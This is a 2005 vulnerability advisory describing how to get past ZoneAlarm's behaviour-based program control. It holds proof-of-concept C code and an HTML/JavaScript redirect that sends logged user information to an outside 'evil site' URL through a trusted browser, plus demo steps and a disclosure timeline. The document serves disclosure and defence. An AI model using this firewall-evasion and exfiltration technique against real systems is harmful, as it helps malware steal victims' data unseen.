Zone Labs Products Advance Program Control and OS Firewall (Behavioral Based) Technology Bypass Vulnerability

Author: Tr0y (a.k.a Debasis Mohanty)
Date: 8th Nov, 2005

I. PRODUCT BACKGROUND

ZoneAlarm Pro and Internet Security Suite with its a new level of protection is what Zone Labs calls an "OS Firewall" based on "Behavior Based Analysis" has gone beyond network level protection and protects PCs against various local attacks on a windows machine. Currently available personal firewalls protects PCs only against network based attacks however the new Zone Labs "OS firewall" technology monitors activity at the kernel-level and prevents attacks at various level. The new approach alerts the user by closely monitoring at kernel level for any unusual activity in the system; like changes in critical registry keys, changes in start-up entries, any kind of Interprocess interactions and processes making outbound connections via other trusted programs. When ZoneAlarm sees unusual activity between applications, it can put the kibosh on memory being read, or quash unauthorized driver and service loading.

II. VULNERABILITY DESCRIPTION

Zone Alarm products with Advance Program Control (or OS Firewall Technology) enabled; detects and blocks almost all those APIs (like Shell, ShellExecuteEx, SetWindowText, SetDlgItem etc) which are commonly used by malicious programs to send data via http by piggybacking over other trusted programs. However, it is still possible for a malicious program (Trojans or worms etc) to make outbound connections to the evil site by piggybacking over trusted Internet browser using "HTML Modal Dialog" in conjunction with simple "JavaScript". Here it is assumed that the default browser (IE or Firefox etc) has authorization to access internet. The default installation of ZoneAlarm Pro, Internet Explorer has the default setting "allow" to access internet. The PoC (Proof-of-Concept) in Section V explains the hack and the exploit code is also included for reference.

III. IMPACT

On successful exploitation the malicious program will be able to send the victim's details and personal system information to the attacker and this can further leads to complete system compromise.

IV. AFFECTED PRODUCTS

Zone Alarm Pro 6.0.x
Zone Alarm Internet Security Suit 6.0.x
Zone Alarm Firewall with Anti-Spyware 6.1.x
Zone Alarm Firewall with Anti-Virus 6.0.x
Zone Alarm Firewall (Free Version) 6.0.x

V. PROOF-OF-CONCEPT:

By using ShowHTMLDialog() method, it is possible to creates a modal dialog box that displays HTML. This in turn can be used to redirect the page to the attacker's site. It is observed that this method is not detected by Zone Alarm Pro with Advance Program Control enabled and Zone Labs other related products. This method can be used by any malicious program to send data outside via http to the attacker site and at the same time it can also receive the command instructions from the attacker. The detailed exploit code is given below:

<<< osfwbypass-demo.c >>>

```
BOOL LoadHtmlDialog(void)
{
        HINSTANCE hinstMSHTML = LoadLibrary(TEXT("MSHTML.DLL"));

        if (hinstMSHTML)
        {
                SHOWHTMLDIALOGFN* pfnShowHTMLDialog;

                // Open a Modal Dialog box of HTML content type
                pfnShowHTMLDialog = (SHOWHTMLDIALOGFN*)GetProcAddress(hinstMSHTML,
                TEXT("ShowHTMLDialog"));

                if (pfnShowHTMLDialog)
                {
                        IMoniker *pURLMoniker;

                        // Invoke the html file containing the data to be sent via http
                        BSTR bstrURL = SysAllocString(L"c:\\modal-dialog.htm");
                        CreateURLMoniker(NULL, bstrURL, &pURLMoniker);

                        if (pURLMoniker)
                        {
                        (*pfnShowHTMLDialog)(NULL, pURLMoniker, NULL, NULL, NULL);
                        pURLMoniker->Release();
                        }

                        SysFreeString(bstrURL);
                }

        FreeLibrary(hinstMSHTML);
        }

Return True;
}
```

<<< +++ >>>

<<< modal-dialog.htm >>>

```
<html>
<head>
<meta http-equiv="Content-Language" content="en-us">
<title>Redirection Dialog</title>

<script language="JavaScript">

<!--  Here goes the information logged by the malicious program which will be sent to the evil site via http request -->
var sTargetURL = "http://www.hackingspirits.com/vuln-rnd/demo/defeat-osfw.asp?[Your Information Here]
window.location.href = sTargetURL;
window.close;
</script>

</head>
</html>
```

<<< +++ >>>

VI. DEMONSTRATION:

For a live demonstration, the compiled binary ("osfwbypass-demo.exe") and the html redirection script ("modal-dialog.htm") has been enclosed with this advisory. To test, kindly follow the following steps:

a. Extract both "osfwbypass-demo.exe" and "modal-dialog.htm" to "C:\". [**Note:** You can extract "osfwbypass-demo.exe" to whatever location you like but don't change the location of "modal-dialog.htm" other than "C:\" otherwise the PoC won't work.] -> Just to save time, I had to hardcode the path.

b. Run "osfwbypass-demo.exe" and click on the "GO" button. This will open "modal-dialog.htm" in modal dialog box which further will redirect to the evil site and send the sample user info via the url to the evil site.

c. First close "osfwbypass-demo.exe" before closing the modal dialog box otherwise the program might fail. Ya Ya I know…. I didn't put much effort for those try{} <=> catch{} ;-). Just wrote a quick demo and didn't hade much time for those tweaks.

VII. CONCLUSION:

This exploit might work for all other personal firewalls available which are based on behavioral based analysis. I didn't considered this test for ordinary personal firewall which does only network based protection as it is beyond the capability of those firewalls to protect against such attack although, this exploit will successfully bypass those firewalls.

VIII. HISTORY:

10th Oct, 2005 –	Bug Originally Discovered
15th Oct, 2005 –	Vendor Reported
15th Oct, 2005 –	Vendor acknowledged the report and asked me not go public until such time that they can fully investigate and coordinate a response.
17th Oct, 2005 –	Vendor asked for more information
19th Oct, 2005 –	Vendor provided with more information and the version info on which the exploit was tested.
21st Oct, 2005 –	Vendor coordinator replied that he is leaving Zone Labs and there will be someone else who will get in touch with me.
23rd Oct, 2005 –	I sent a follow up mail but didn't receive any reply to it.
29th Oct, 2005 –	Final follow up mail sent to the vendor but no response after the first vendor coordinator left the organization. Don't know what the problem is??
8th Nov, 2005 --	Public Disclosure

IX. CREDITS:

Tr0y (a.k.a Debasis Mohanty)
debasis@hackingspirits.com
http://www.hackingspirits.com

X. LEGAL NOTICES

This advisory other than the exploit code is released under GNU Free Documentation License.